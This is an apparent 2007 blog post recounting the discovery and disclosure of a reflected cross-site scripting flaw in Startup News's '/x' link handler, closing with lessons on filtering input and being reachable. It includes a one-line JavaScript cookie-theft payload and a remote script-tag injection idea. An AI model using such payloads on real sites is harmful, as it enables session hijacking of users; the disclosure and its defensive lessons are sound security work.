March 8th, 2007

Cross-site scripting at YCombinator

Startup News does a lot of its work by stuffing a closure into a lookup table and putting the table key into a link that looks like this:


When you click on the link, the closure for the key looked up, executed, and it does whatever work is necessary, including redirecting you to a new location at the end.

A couple days ago, I was trying to go to "" but fat-fingered the history selection and went to to "" instead. It displayed this message:

unknown or expired link: nil

Whoa, nil, cool! Time to fiddle with different parameters to "/x". Providing an arbitray value (say, "foobar") as fnid produced a message like this:

unknown or expired link: foobar

Next up was "%3Cb%3EHello", which produced:

unknown or expired link: Hello

Yep, that's right: arbitrary user-provided text presented without any filtering. Anyone could construct an URL to make the user's browser execute arbitrary Javascript in the context of You could steal authentication cookies with:

(new Image).src=''+escape(document.cookie);

That script could even live on another server, and the fnid string could be as simple as "<script src=''>".

Oops! So, the next step was to inform someone at

  • Check out the front page: the closest thing to a "Contact" link is "Feature Requests", which doesn't seem like quite the right forum.
  • An email to bounced with "No such user"
  • Ditto for
  • Several emails to (the contact listed on were rejected at the SMTP level due to what looked like aggressive spam filtering
  • I emailed Aaron Swartz, and he gave me an alternative email address for pg. A message there went unanswered.

I finally posted to the site itself: This site has an easy-to-fix security problem. Who can I inform? That got an immediate response. The problem was fixed several hours later.

So, the morals:

  • Don't display unfiltered user-provided text
  • Don't make it really hard to get in touch with you privately